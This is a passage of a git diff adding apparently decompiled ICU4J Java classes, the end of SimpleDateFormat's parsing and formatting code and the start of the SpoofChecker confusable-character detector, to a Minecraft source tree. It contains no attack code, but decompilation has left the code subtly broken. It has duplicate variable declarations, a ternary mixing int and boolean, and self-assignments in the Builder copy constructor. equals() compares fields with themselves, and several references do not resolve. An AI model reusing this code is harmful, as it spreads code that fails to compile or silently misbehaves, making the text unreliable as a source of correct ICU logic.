+        int ambiguousTwoDigitYear = getDefaultCenturyStartYear() % 100;
+        ambiguousYear[0] = (value == ambiguousTwoDigitYear ? 1 : false);
+        value += getDefaultCenturyStartYear() / 100 * 100 + (value < ambiguousTwoDigitYear ? 100 : 0);
+      }
+      
+      cal.set(field, value);
+      
+
+      if (DelayedHebrewMonthCheck) {
+        if (!HebrewCalendar.isLeapYear(value)) {
+          cal.add(2, 1);
+        }
+        DelayedHebrewMonthCheck = false;
+      }
+      return pos.getIndex();
+    case 30: 
+      if (formatData.shortYearNames != null) {
+        int newStart = matchString(text, start, 1, formatData.shortYearNames, null, cal);
+        if (newStart > 0) {
+          return newStart;
+        }
+      }
+      if ((number != null) && ((lenient) || (formatData.shortYearNames == null) || (value > formatData.shortYearNames.length))) {
+        cal.set(1, value);
+        return pos.getIndex();
+      }
+      return -start;
+    case 2: 
+    case 26: 
+      if (count <= 2)
+      {
+
+
+        cal.set(2, value - 1);
+        
+
+
+
+        if ((cal.getType().equals("hebrew")) && (value >= 6)) {
+          if (cal.isSet(1)) {
+            if (!HebrewCalendar.isLeapYear(cal.get(1))) {
+              cal.set(2, value);
+            }
+          } else {
+            DelayedHebrewMonthCheck = true;
+          }
+        }
+        return pos.getIndex();
+      }
+      
+
+      boolean haveMonthPat = (formatData.leapMonthPatterns != null) && (formatData.leapMonthPatterns.length >= 7);
+      
+      int newStart = patternCharIndex == 2 ? matchString(text, start, 2, formatData.months, haveMonthPat ? formatData.leapMonthPatterns[0] : null, cal) : matchString(text, start, 2, formatData.standaloneMonths, haveMonthPat ? formatData.leapMonthPatterns[3] : null, cal);
+      
+
+
+
+      if (newStart > 0) {
+        return newStart;
+      }
+      return patternCharIndex == 2 ? matchString(text, start, 2, formatData.shortMonths, haveMonthPat ? formatData.leapMonthPatterns[1] : null, cal) : matchString(text, start, 2, formatData.standaloneShortMonths, haveMonthPat ? formatData.leapMonthPatterns[4] : null, cal);
+    
+
+
+
+
+
+
+    case 4: 
+      if (value == cal.getMaximum(11) + 1) {
+        value = 0;
+      }
+      cal.set(11, value);
+      return pos.getIndex();
+    
+    case 8: 
+      int i = pos.getIndex() - start;
+      if (i < 3) {
+        while (i < 3) {
+          value *= 10;
+          i++;
+        }
+      }
+      int a = 1;
+      while (i > 3) {
+        a *= 10;
+        i--;
+      }
+      value /= a;
+      
+      cal.set(14, value);
+      return pos.getIndex();
+    
+    case 9: 
+      int newStart = matchString(text, start, 7, formatData.weekdays, null, cal);
+      if (newStart > 0)
+        return newStart;
+      if ((newStart = matchString(text, start, 7, formatData.shortWeekdays, null, cal)) > 0)
+        return newStart;
+      if (formatData.shorterWeekdays != null) {
+        return matchString(text, start, 7, formatData.shorterWeekdays, null, cal);
+      }
+      return newStart;
+    
+
+    case 25: 
+      int newStart = matchString(text, start, 7, formatData.standaloneWeekdays, null, cal);
+      if (newStart > 0)
+        return newStart;
+      if ((newStart = matchString(text, start, 7, formatData.standaloneShortWeekdays, null, cal)) > 0)
+        return newStart;
+      if (formatData.standaloneShorterWeekdays != null) {
+        return matchString(text, start, 7, formatData.standaloneShorterWeekdays, null, cal);
+      }
+      return newStart;
+    
+    case 14: 
+      return matchString(text, start, 9, formatData.ampms, null, cal);
+    
+    case 15: 
+      if (value == cal.getLeastMaximum(10) + 1) {
+        value = 0;
+      }
+      cal.set(10, value);
+      return pos.getIndex();
+    
+    case 17: 
+      Output<TimeZoneFormat.TimeType> tzTimeType = new Output();
+      TimeZoneFormat.Style style = count < 4 ? TimeZoneFormat.Style.SPECIFIC_SHORT : TimeZoneFormat.Style.SPECIFIC_LONG;
+      TimeZone tz = tzFormat().parse(style, text, pos, tzTimeType);
+      if (tz != null) {
+        tztype = ((TimeZoneFormat.TimeType)value);
+        cal.setTimeZone(tz);
+        return pos.getIndex();
+      }
+      return -start;
+    
+
+    case 23: 
+      Output<TimeZoneFormat.TimeType> tzTimeType = new Output();
+      TimeZoneFormat.Style style = count == 5 ? TimeZoneFormat.Style.ISO_EXTENDED_FULL : count < 4 ? TimeZoneFormat.Style.ISO_BASIC_LOCAL_FULL : TimeZoneFormat.Style.LOCALIZED_GMT;
+      TimeZone tz = tzFormat().parse(style, text, pos, tzTimeType);
+      if (tz != null) {
+        tztype = ((TimeZoneFormat.TimeType)value);
+        cal.setTimeZone(tz);
+        return pos.getIndex();
+      }
+      return -start;
+    
+
+    case 24: 
+      Output<TimeZoneFormat.TimeType> tzTimeType = new Output();
+      
+      TimeZoneFormat.Style style = count < 4 ? TimeZoneFormat.Style.GENERIC_SHORT : TimeZoneFormat.Style.GENERIC_LONG;
+      TimeZone tz = tzFormat().parse(style, text, pos, tzTimeType);
+      if (tz != null) {
+        tztype = ((TimeZoneFormat.TimeType)value);
+        cal.setTimeZone(tz);
+        return pos.getIndex();
+      }
+      return -start;
+    
+
+    case 29: 
+      Output<TimeZoneFormat.TimeType> tzTimeType = new Output();
+      TimeZoneFormat.Style style = null;
+      switch (count) {
+      case 1: 
+        style = TimeZoneFormat.Style.ZONE_ID_SHORT;
+        break;
+      case 2: 
+        style = TimeZoneFormat.Style.ZONE_ID;
+        break;
+      case 3: 
+        style = TimeZoneFormat.Style.EXEMPLAR_LOCATION;
+        break;
+      default: 
+        style = TimeZoneFormat.Style.GENERIC_LOCATION;
+      }
+      
+      TimeZone tz = tzFormat().parse(style, text, pos, tzTimeType);
+      if (tz != null) {
+        tztype = ((TimeZoneFormat.TimeType)value);
+        cal.setTimeZone(tz);
+        return pos.getIndex();
+      }
+      return -start;
+    
+
+    case 31: 
+      Output<TimeZoneFormat.TimeType> tzTimeType = new Output();
+      TimeZoneFormat.Style style = count < 4 ? TimeZoneFormat.Style.LOCALIZED_GMT_SHORT : TimeZoneFormat.Style.LOCALIZED_GMT;
+      TimeZone tz = tzFormat().parse(style, text, pos, tzTimeType);
+      if (tz != null) {
+        tztype = ((TimeZoneFormat.TimeType)value);
+        cal.setTimeZone(tz);
+        return pos.getIndex();
+      }
+      return -start;
+    
+
+    case 32: 
+      Output<TimeZoneFormat.TimeType> tzTimeType = new Output();
+      TimeZoneFormat.Style style;
+      switch (count) {
+      case 1: 
+        style = TimeZoneFormat.Style.ISO_BASIC_SHORT;
+        break;
+      case 2: 
+        style = TimeZoneFormat.Style.ISO_BASIC_FIXED;
+        break;
+      case 3: 
+        style = TimeZoneFormat.Style.ISO_EXTENDED_FIXED;
+        break;
+      case 4: 
+        style = TimeZoneFormat.Style.ISO_BASIC_FULL;
+        break;
+      default: 
+        style = TimeZoneFormat.Style.ISO_EXTENDED_FULL;
+      }
+      
+      TimeZone tz = tzFormat().parse(style, text, pos, tzTimeType);
+      if (tz != null) {
+        tztype = ((TimeZoneFormat.TimeType)value);
+        cal.setTimeZone(tz);
+        return pos.getIndex();
+      }
+      return -start;
+    
+
+    case 33: 
+      Output<TimeZoneFormat.TimeType> tzTimeType = new Output();
+      TimeZoneFormat.Style style;
+      switch (count) {
+      case 1: 
+        style = TimeZoneFormat.Style.ISO_BASIC_LOCAL_SHORT;
+        break;
+      case 2: 
+        style = TimeZoneFormat.Style.ISO_BASIC_LOCAL_FIXED;
+        break;
+      case 3: 
+        style = TimeZoneFormat.Style.ISO_EXTENDED_LOCAL_FIXED;
+        break;
+      case 4: 
+        style = TimeZoneFormat.Style.ISO_BASIC_LOCAL_FULL;
+        break;
+      default: 
+        style = TimeZoneFormat.Style.ISO_EXTENDED_LOCAL_FULL;
+      }
+      
+      TimeZone tz = tzFormat().parse(style, text, pos, tzTimeType);
+      if (tz != null) {
+        tztype = ((TimeZoneFormat.TimeType)value);
+        cal.setTimeZone(tz);
+        return pos.getIndex();
+      }
+      return -start;
+    
+    case 27: 
+      if (count <= 2)
+      {
+
+
+        cal.set(2, (value - 1) * 3);
+        return pos.getIndex();
+      }
+      
+
+
+      int newStart = matchQuarterString(text, start, 2, formatData.quarters, cal);
+      
+      if (newStart > 0) {
+        return newStart;
+      }
+      return matchQuarterString(text, start, 2, formatData.shortQuarters, cal);
+    
+
+
+
+    case 28: 
+      if (count <= 2)
+      {
+
+
+        cal.set(2, (value - 1) * 3);
+        return pos.getIndex();
+      }
+      
+
+
+      int newStart = matchQuarterString(text, start, 2, formatData.standaloneQuarters, cal);
+      
+      if (newStart > 0) {
+        return newStart;
+      }
+      return matchQuarterString(text, start, 2, formatData.standaloneShortQuarters, cal);
+    }
+    
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    if (obeyCount) {
+      if (start + count > text.length()) return -start;
+      number = parseInt(text, count, pos, allowNegative, currentNumberFormat);
+    } else {
+      number = parseInt(text, pos, allowNegative, currentNumberFormat);
+    }
+    if (number != null) {
+      cal.set(field, number.intValue());
+      return pos.getIndex();
+    }
+    return -start;
+  }
+  
+
+
+
+
+
+
+
+  private Number parseInt(String text, ParsePosition pos, boolean allowNegative, NumberFormat fmt)
+  {
+    return parseInt(text, -1, pos, allowNegative, fmt);
+  }
+  
+
+
+
+
+
+
+
+  private Number parseInt(String text, int maxDigits, ParsePosition pos, boolean allowNegative, NumberFormat fmt)
+  {
+    int oldPos = pos.getIndex();
+    Number number; Number number; if (allowNegative) {
+      number = fmt.parse(text, pos);
+
+    }
+    else if ((fmt instanceof DecimalFormat)) {
+      String oldPrefix = ((DecimalFormat)fmt).getNegativePrefix();
+      ((DecimalFormat)fmt).setNegativePrefix("꬀");
+      Number number = fmt.parse(text, pos);
+      ((DecimalFormat)fmt).setNegativePrefix(oldPrefix);
+    } else {
+      boolean dateNumberFormat = fmt instanceof DateNumberFormat;
+      if (dateNumberFormat) {
+        ((DateNumberFormat)fmt).setParsePositiveOnly(true);
+      }
+      number = fmt.parse(text, pos);
+      if (dateNumberFormat) {
+        ((DateNumberFormat)fmt).setParsePositiveOnly(false);
+      }
+    }
+    
+    if (maxDigits > 0)
+    {
+
+      int nDigits = pos.getIndex() - oldPos;
+      if (nDigits > maxDigits) {
+        double val = number.doubleValue();
+        nDigits -= maxDigits;
+        while (nDigits > 0) {
+          val /= 10.0D;
+          nDigits--;
+        }
+        pos.setIndex(oldPos + maxDigits);
+        number = Integer.valueOf((int)val);
+      }
+    }
+    return number;
+  }
+  
+
+
+
+
+  private String translatePattern(String pat, String from, String to)
+  {
+    StringBuilder result = new StringBuilder();
+    boolean inQuote = false;
+    for (int i = 0; i < pat.length(); i++) {
+      char c = pat.charAt(i);
+      if (inQuote) {
+        if (c == '\'') {
+          inQuote = false;
+        }
+      } else if (c == '\'') {
+        inQuote = true;
+      } else if (((c >= 'a') && (c <= 'z')) || ((c >= 'A') && (c <= 'Z'))) {
+        int ci = from.indexOf(c);
+        if (ci != -1) {
+          c = to.charAt(ci);
+        }
+      }
+      
+
+
+      result.append(c);
+    }
+    if (inQuote) {
+      throw new IllegalArgumentException("Unfinished quote in pattern");
+    }
+    return result.toString();
+  }
+  
+
+
+
+  public String toPattern()
+  {
+    return pattern;
+  }
+  
+
+
+
+  public String toLocalizedPattern()
+  {
+    return translatePattern(pattern, "GyMdkHmsSEDFwWahKzYeugAZvcLQqVUOXx", formatData.localPatternChars);
+  }
+  
+
+
+
+
+
+
+  public void applyPattern(String pat)
+  {
+    pattern = pat;
+    setLocale(null, null);
+    
+    patternItems = null;
+  }
+  
+
+
+
+  public void applyLocalizedPattern(String pat)
+  {
+    pattern = translatePattern(pat, formatData.localPatternChars, "GyMdkHmsSEDFwWahKzYeugAZvcLQqVUOXx");
+    
+
+    setLocale(null, null);
+  }
+  
+
+
+
+
+
+
+  public DateFormatSymbols getDateFormatSymbols()
+  {
+    return (DateFormatSymbols)formatData.clone();
+  }
+  
+
+
+
+
+
+  public void setDateFormatSymbols(DateFormatSymbols newFormatSymbols)
+  {
+    formatData = ((DateFormatSymbols)newFormatSymbols.clone());
+  }
+  
+
+
+
+  protected DateFormatSymbols getSymbols()
+  {
+    return formatData;
+  }
+  
+
+
+
+
+
+
+
+
+  public TimeZoneFormat getTimeZoneFormat()
+  {
+    return tzFormat().freeze();
+  }
+  
+
+
+
+
+
+
+  public void setTimeZoneFormat(TimeZoneFormat tzfmt)
+  {
+    if (tzfmt.isFrozen())
+    {
+      tzFormat = tzfmt;
+    }
+    else {
+      tzFormat = tzfmt.cloneAsThawed().freeze();
+    }
+  }
+  
+
+
+
+
+
+
+
+  public void setContext(DisplayContext context)
+  {
+    if (context.type() == DisplayContext.Type.CAPITALIZATION) {
+      capitalizationSetting = context;
+    }
+  }
+  
+
+
+
+
+
+
+
+
+  public DisplayContext getContext(DisplayContext.Type type)
+  {
+    return (type == DisplayContext.Type.CAPITALIZATION) && (capitalizationSetting != null) ? capitalizationSetting : DisplayContext.CAPITALIZATION_NONE;
+  }
+  
+
+
+
+
+  public Object clone()
+  {
+    SimpleDateFormat other = (SimpleDateFormat)super.clone();
+    formatData = ((DateFormatSymbols)formatData.clone());
+    return other;
+  }
+  
+
+
+
+
+
+  public int hashCode()
+  {
+    return pattern.hashCode();
+  }
+  
+
+
+
+
+
+  public boolean equals(Object obj)
+  {
+    if (!super.equals(obj)) return false;
+    SimpleDateFormat that = (SimpleDateFormat)obj;
+    return (pattern.equals(pattern)) && (formatData.equals(formatData));
+  }
+  
+
+
+
+  private void writeObject(ObjectOutputStream stream)
+    throws IOException
+  {
+    if (defaultCenturyStart == null)
+    {
+
+      initializeDefaultCenturyStart(defaultCenturyBase);
+    }
+    initializeTimeZoneFormat(false);
+    stream.defaultWriteObject();
+    stream.writeInt(capitalizationSetting.value());
+  }
+  
+
+
+
+  private void readObject(ObjectInputStream stream)
+    throws IOException, ClassNotFoundException
+  {
+    stream.defaultReadObject();
+    int capitalizationSettingValue = serialVersionOnStream > 1 ? stream.readInt() : -1;
+    
+
+    if (serialVersionOnStream < 1)
+    {
+      defaultCenturyBase = System.currentTimeMillis();
+
+    }
+    else
+    {
+      parseAmbiguousDatesAsAfter(defaultCenturyStart);
+    }
+    serialVersionOnStream = 2;
+    locale = getLocale(ULocale.VALID_LOCALE);
+    if (locale == null)
+    {
+
+
+      locale = ULocale.getDefault(ULocale.Category.FORMAT);
+    }
+    
+    initLocalZeroPaddingNumberFormat();
+    
+    capitalizationSetting = DisplayContext.CAPITALIZATION_NONE;
+    if (capitalizationSettingValue >= 0) {
+      for (DisplayContext context : DisplayContext.values()) {
+        if (context.value() == capitalizationSettingValue) {
+          capitalizationSetting = context;
+          break;
+        }
+      }
+    }
+  }
+  
+
+
+
+
+
+
+
+
+  public AttributedCharacterIterator formatToCharacterIterator(Object obj)
+  {
+    Calendar cal = calendar;
+    if ((obj instanceof Calendar)) {
+      cal = (Calendar)obj;
+    } else if ((obj instanceof Date)) {
+      calendar.setTime((Date)obj);
+    } else if ((obj instanceof Number)) {
+      calendar.setTimeInMillis(((Number)obj).longValue());
+    } else {
+      throw new IllegalArgumentException("Cannot format given Object as a Date");
+    }
+    StringBuffer toAppendTo = new StringBuffer();
+    FieldPosition pos = new FieldPosition(0);
+    List<FieldPosition> attributes = new ArrayList();
+    format(cal, capitalizationSetting, toAppendTo, pos, attributes);
+    
+    AttributedString as = new AttributedString(toAppendTo.toString());
+    
+
+    for (int i = 0; i < attributes.size(); i++) {
+      FieldPosition fp = (FieldPosition)attributes.get(i);
+      Format.Field attribute = fp.getFieldAttribute();
+      as.addAttribute(attribute, attribute, fp.getBeginIndex(), fp.getEndIndex());
+    }
+    
+    return as.getIterator();
+  }
+  
+
+
+
+
+
+
+  ULocale getLocale()
+  {
+    return locale;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  boolean isFieldUnitIgnored(int field)
+  {
+    return isFieldUnitIgnored(pattern, field);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  static boolean isFieldUnitIgnored(String pattern, int field)
+  {
+    int fieldLevel = CALENDAR_FIELD_TO_LEVEL[field];
+    
+
+    boolean inQuote = false;
+    char prevCh = '\000';
+    int count = 0;
+    
+    for (int i = 0; i < pattern.length(); i++) {
+      char ch = pattern.charAt(i);
+      if ((ch != prevCh) && (count > 0)) {
+        int level = PATTERN_CHAR_TO_LEVEL[(prevCh - '@')];
+        if (fieldLevel <= level) {
+          return false;
+        }
+        count = 0;
+      }
+      if (ch == '\'') {
+        if ((i + 1 < pattern.length()) && (pattern.charAt(i + 1) == '\'')) {
+          i++;
+        } else {
+          inQuote = !inQuote;
+        }
+      } else if ((!inQuote) && (((ch >= 'a') && (ch <= 'z')) || ((ch >= 'A') && (ch <= 'Z'))))
+      {
+        prevCh = ch;
+        count++;
+      }
+    }
+    if (count > 0)
+    {
+      int level = PATTERN_CHAR_TO_LEVEL[(prevCh - '@')];
+      if (fieldLevel <= level) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  /**
+   * @deprecated
+   */
+  public final StringBuffer intervalFormatByAlgorithm(Calendar fromCalendar, Calendar toCalendar, StringBuffer appendTo, FieldPosition pos)
+    throws IllegalArgumentException
+  {
+    if (!fromCalendar.isEquivalentTo(toCalendar)) {
+      throw new IllegalArgumentException("can not format on two different calendars");
+    }
+    
+    Object[] items = getPatternItems();
+    int diffBegin = -1;
+    int diffEnd = -1;
+    
+
+    try
+    {
+      for (int i = 0; i < items.length; i++) {
+        if (diffCalFieldValue(fromCalendar, toCalendar, items, i)) {
+          diffBegin = i;
+          break;
+        }
+      }
+      
+      if (diffBegin == -1)
+      {
+        return format(fromCalendar, appendTo, pos);
+      }
+      
+
+      for (int i = items.length - 1; i >= diffBegin; i--) {
+        if (diffCalFieldValue(fromCalendar, toCalendar, items, i)) {
+          diffEnd = i;
+          break;
+        }
+      }
+    } catch (IllegalArgumentException e) {
+      throw new IllegalArgumentException(e.toString());
+    }
+    
+
+    if ((diffBegin == 0) && (diffEnd == items.length - 1)) {
+      format(fromCalendar, appendTo, pos);
+      appendTo.append(" – ");
+      format(toCalendar, appendTo, pos);
+      return appendTo;
+    }
+    
+
+
+    int highestLevel = 1000;
+    for (int i = diffBegin; i <= diffEnd; i++) {
+      if (!(items[i] instanceof String))
+      {
+
+        PatternItem item = (PatternItem)items[i];
+        char ch = type;
+        int patternCharIndex = -1;
+        if (('A' <= ch) && (ch <= 'z')) {
+          patternCharIndex = PATTERN_CHAR_TO_LEVEL[(ch - '@')];
+        }
+        
+        if (patternCharIndex == -1) {
+          throw new IllegalArgumentException("Illegal pattern character '" + ch + "' in \"" + pattern + '"');
+        }
+        
+
+
+        if (patternCharIndex < highestLevel) {
+          highestLevel = patternCharIndex;
+        }
+      }
+    }
+    
+
+    try
+    {
+      for (int i = 0; i < diffBegin; i++) {
+        if (lowerLevel(items, i, highestLevel)) {
+          diffBegin = i;
+          break;
+        }
+      }
+      
+
+      for (int i = items.length - 1; i > diffEnd; i--) {
+        if (lowerLevel(items, i, highestLevel)) {
+          diffEnd = i;
+          break;
+        }
+      }
+    } catch (IllegalArgumentException e) {
+      throw new IllegalArgumentException(e.toString());
+    }
+    
+
+
+    if ((diffBegin == 0) && (diffEnd == items.length - 1)) {
+      format(fromCalendar, appendTo, pos);
+      appendTo.append(" – ");
+      format(toCalendar, appendTo, pos);
+      return appendTo;
+    }
+    
+
+
+
+    pos.setBeginIndex(0);
+    pos.setEndIndex(0);
+    
+
+    for (int i = 0; i <= diffEnd; i++) {
+      if ((items[i] instanceof String)) {
+        appendTo.append((String)items[i]);
+      } else {
+        PatternItem item = (PatternItem)items[i];
+        if (useFastFormat) {
+          subFormat(appendTo, type, length, appendTo.length(), i, capitalizationSetting, pos, fromCalendar);
+        }
+        else {
+          appendTo.append(subFormat(type, length, appendTo.length(), i, capitalizationSetting, pos, fromCalendar));
+        }
+      }
+    }
+    
+
+    appendTo.append(" – ");
+    
+
+    for (int i = diffBegin; i < items.length; i++) {
+      if ((items[i] instanceof String)) {
+        appendTo.append((String)items[i]);
+      } else {
+        PatternItem item = (PatternItem)items[i];
+        if (useFastFormat) {
+          subFormat(appendTo, type, length, appendTo.length(), i, capitalizationSetting, pos, toCalendar);
+        }
+        else {
+          appendTo.append(subFormat(type, length, appendTo.length(), i, capitalizationSetting, pos, toCalendar));
+        }
+      }
+    }
+    
+    return appendTo;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private boolean diffCalFieldValue(Calendar fromCalendar, Calendar toCalendar, Object[] items, int i)
+    throws IllegalArgumentException
+  {
+    if ((items[i] instanceof String)) {
+      return false;
+    }
+    PatternItem item = (PatternItem)items[i];
+    char ch = type;
+    int patternCharIndex = -1;
+    if (('A' <= ch) && (ch <= 'z')) {
+      patternCharIndex = PATTERN_CHAR_TO_INDEX[(ch - '@')];
+    }
+    
+    if (patternCharIndex == -1) {
+      throw new IllegalArgumentException("Illegal pattern character '" + ch + "' in \"" + pattern + '"');
+    }
+    
+
+
+    int field = PATTERN_INDEX_TO_CALENDAR_FIELD[patternCharIndex];
+    int value = fromCalendar.get(field);
+    int value_2 = toCalendar.get(field);
+    if (value != value_2) {
+      return true;
+    }
+    return false;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private boolean lowerLevel(Object[] items, int i, int level)
+    throws IllegalArgumentException
+  {
+    if ((items[i] instanceof String)) {
+      return false;
+    }
+    PatternItem item = (PatternItem)items[i];
+    char ch = type;
+    int patternCharIndex = -1;
+    if (('A' <= ch) && (ch <= 'z')) {
+      patternCharIndex = PATTERN_CHAR_TO_LEVEL[(ch - '@')];
+    }
+    
+    if (patternCharIndex == -1) {
+      throw new IllegalArgumentException("Illegal pattern character '" + ch + "' in \"" + pattern + '"');
+    }
+    
+
+
+    if (patternCharIndex >= level) {
+      return true;
+    }
+    return false;
+  }
+  
+
+
+  /**
+   * @deprecated
+   */
+  protected NumberFormat getNumberFormat(char ch)
+  {
+    Character ovrField = Character.valueOf(ch);
+    if ((overrideMap != null) && (overrideMap.containsKey(ovrField))) {
+      String nsName = ((String)overrideMap.get(ovrField)).toString();
+      NumberFormat nf = (NumberFormat)numberFormatters.get(nsName);
+      return nf;
+    }
+    return numberFormat;
+  }
+  
+
+  private void initNumberFormatters(ULocale loc)
+  {
+    numberFormatters = new HashMap();
+    overrideMap = new HashMap();
+    processOverrideString(loc, override);
+  }
+  
+
+  private void processOverrideString(ULocale loc, String str)
+  {
+    if ((str == null) || (str.length() == 0)) {
+      return;
+    }
+    int start = 0;
+    
+
+
+    boolean moreToProcess = true;
+    
+
+    while (moreToProcess) {
+      int delimiterPosition = str.indexOf(";", start);
+      int end; int end; if (delimiterPosition == -1) {
+        moreToProcess = false;
+        end = str.length();
+      } else {
+        end = delimiterPosition;
+      }
+      
+      String currentString = str.substring(start, end);
+      int equalSignPosition = currentString.indexOf("=");
+      boolean fullOverride; String nsName; boolean fullOverride; if (equalSignPosition == -1) {
+        String nsName = currentString;
+        fullOverride = true;
+      } else {
+        nsName = currentString.substring(equalSignPosition + 1);
+        Character ovrField = Character.valueOf(currentString.charAt(0));
+        overrideMap.put(ovrField, nsName);
+        fullOverride = false;
+      }
+      
+      ULocale ovrLoc = new ULocale(loc.getBaseName() + "@numbers=" + nsName);
+      NumberFormat nf = NumberFormat.createInstance(ovrLoc, 0);
+      nf.setGroupingUsed(false);
+      
+      if (fullOverride) {
+        setNumberFormat(nf);
+      }
+      else
+      {
+        useLocalZeroPaddingNumberFormat = false;
+      }
+      
+      if (!numberFormatters.containsKey(nsName)) {
+        numberFormatters.put(nsName, nf);
+      }
+      
+      start = delimiterPosition + 1;
+    }
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/text/SpoofChecker.java b/src/minecraft/com/ibm/icu/text/SpoofChecker.java
new file mode 100644
index 0000000..6738e1c
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/text/SpoofChecker.java
@@ -0,0 +1,2376 @@
+package com.ibm.icu.text;
+
+import com.ibm.icu.impl.ICUData;
+import com.ibm.icu.impl.Trie2;
+import com.ibm.icu.impl.Trie2Writable;
+import com.ibm.icu.impl.Trie2_16;
+import com.ibm.icu.lang.UCharacter;
+import com.ibm.icu.lang.UScript;
+import com.ibm.icu.util.ULocale;
+import java.io.BufferedInputStream;
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.DataInputStream;
+import java.io.DataOutputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.LineNumberReader;
+import java.io.Reader;
+import java.text.ParseException;
+import java.util.Collections;
+import java.util.Comparator;
+import java.util.Hashtable;
+import java.util.LinkedHashSet;
+import java.util.Set;
+import java.util.Vector;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class SpoofChecker
+{
+  private SpoofChecker() {}
+  
+  public static enum RestrictionLevel
+  {
+    ASCII, 
+    
+
+
+
+
+
+
+    HIGHLY_RESTRICTIVE, 
+    
+
+
+
+
+    MODERATELY_RESTRICTIVE, 
+    
+
+
+
+
+
+    MINIMALLY_RESTRICTIVE, 
+    
+
+
+
+
+    UNRESTRICTIVE;
+    
+
+
+    private RestrictionLevel() {}
+  }
+  
+
+
+  public static final UnicodeSet INCLUSION = new UnicodeSet("[\\-.\\u00B7\\u05F3\\u05F4\\u0F0B\\u200C\\u200D\\u2019]");
+  
+
+
+
+
+
+
+  public static final UnicodeSet RECOMMENDED = new UnicodeSet("[[0-z\\u00C0-\\u017E\\u01A0\\u01A1\\u01AF\\u01B0\\u01CD-\\u01DC\\u01DE-\\u01E3\\u01E6-\\u01F5\\u01F8-\\u021B\\u021E\\u021F\\u0226-\\u0233\\u02BB\\u02BC\\u02EC\\u0300-\\u0304\\u0306-\\u030C\\u030F-\\u0311\\u0313\\u0314\\u031B\\u0323-\\u0328\\u032D\\u032E\\u0330\\u0331\\u0335\\u0338\\u0339\\u0342-\\u0345\\u037B-\\u03CE\\u03FC-\\u045F\\u048A-\\u0525\\u0531-\\u0586\\u05D0-\\u05F2\\u0621-\\u063F\\u0641-\\u0655\\u0660-\\u0669\\u0670-\\u068D\\u068F-\\u06D5\\u06E5\\u06E6\\u06EE-\\u06FF\\u0750-\\u07B1\\u0901-\\u0939\\u093C-\\u094D\\u0950\\u0960-\\u0972\\u0979-\\u0A4D\\u0A5C-\\u0A74\\u0A81-\\u0B43\\u0B47-\\u0B61\\u0B66-\\u0C56\\u0C60\\u0C61\\u0C66-\\u0CD6\\u0CE0-\\u0CEF\\u0D02-\\u0D28\\u0D2A-\\u0D39\\u0D3D-\\u0D43\\u0D46-\\u0D4D\\u0D57-\\u0D61\\u0D66-\\u0D8E\\u0D91-\\u0DA5\\u0DA7-\\u0DDE\\u0DF2\\u0E01-\\u0ED9\\u0F00\\u0F20-\\u0F8B\\u0F90-\\u109D\\u10D0-\\u10F0\\u10F7-\\u10FA\\u1200-\\u135A\\u135F\\u1380-\\u138F\\u1401-\\u167F\\u1780-\\u17A2\\u17A5-\\u17A7\\u17A9-\\u17B3\\u17B6-\\u17CA\\u17D2\\u17D7-\\u17DC\\u17E0-\\u17E9\\u1810-\\u18A8\\u18AA-\\u18F5\\u1E00-\\u1E99\\u1F00-\\u1FFC\\u2D30-\\u2D65\\u2D80-\\u2DDE\\u3005-\\u3007\\u3041-\\u31B7\\u3400-\\u9FCB\\uA000-\\uA48C\\uA67F\\uA717-\\uA71F\\uA788\\uAA60-\\uAA7B\\uAC00-\\uD7A3\\uFA0E-\\uFA29\\U00020000-\\U0002B734]-[[:Cn:][:nfkcqc=n:][:XIDC=n:]]]");
+  
+
+
+
+
+
+
+
+
+  public static final int SINGLE_SCRIPT_CONFUSABLE = 1;
+  
+
+
+
+
+
+
+
+
+  public static final int MIXED_SCRIPT_CONFUSABLE = 2;
+  
+
+
+
+
+
+
+
+
+  public static final int WHOLE_SCRIPT_CONFUSABLE = 4;
+  
+
+
+
+
+
+
+
+
+  public static final int ANY_CASE = 8;
+  
+
+
+
+
+
+
+
+
+  public static final int RESTRICTION_LEVEL = 16;
+  
+
+
+
+
+
+
+
+  /**
+   * @deprecated
+   */
+  public static final int SINGLE_SCRIPT = 16;
+  
+
+
+
+
+
+
+
+  public static final int INVISIBLE = 32;
+  
+
+
+
+
+
+
+
+  public static final int CHAR_LIMIT = 64;
+  
+
+
+
+
+
+
+
+  public static final int MIXED_NUMBERS = 128;
+  
+
+
+
+
+
+
+
+  public static final int ALL_CHECKS = -1;
+  
+
+
+
+
+
+
+
+  static final int MAGIC = 944111087;
+  
+
+
+
+
+
+
+
+
+  public static class Builder
+  {
+    int fMagic;
+    
+
+
+
+
+
+
+
+    int fChecks;
+    
+
+
+
+
+
+
+
+    SpoofChecker.SpoofData fSpoofData;
+    
+
+
+
+
+
+
+
+    final UnicodeSet fAllowedCharsSet = new UnicodeSet(0, 1114111);
+    
+    final Set<ULocale> fAllowedLocales = new LinkedHashSet();
+    
+
+
+    private SpoofChecker.RestrictionLevel fRestrictionLevel;
+    
+
+
+
+    public Builder()
+    {
+      fMagic = 944111087;
+      fChecks = -1;
+      fSpoofData = null;
+      fRestrictionLevel = SpoofChecker.RestrictionLevel.HIGHLY_RESTRICTIVE;
+    }
+    
+
+
+
+
+
+
+    public Builder(SpoofChecker src)
+    {
+      fMagic = fMagic;
+      fChecks = fChecks;
+      fSpoofData = null;
+      fAllowedCharsSet.set(fAllowedCharsSet);
+      fAllowedLocales.addAll(fAllowedLocales);
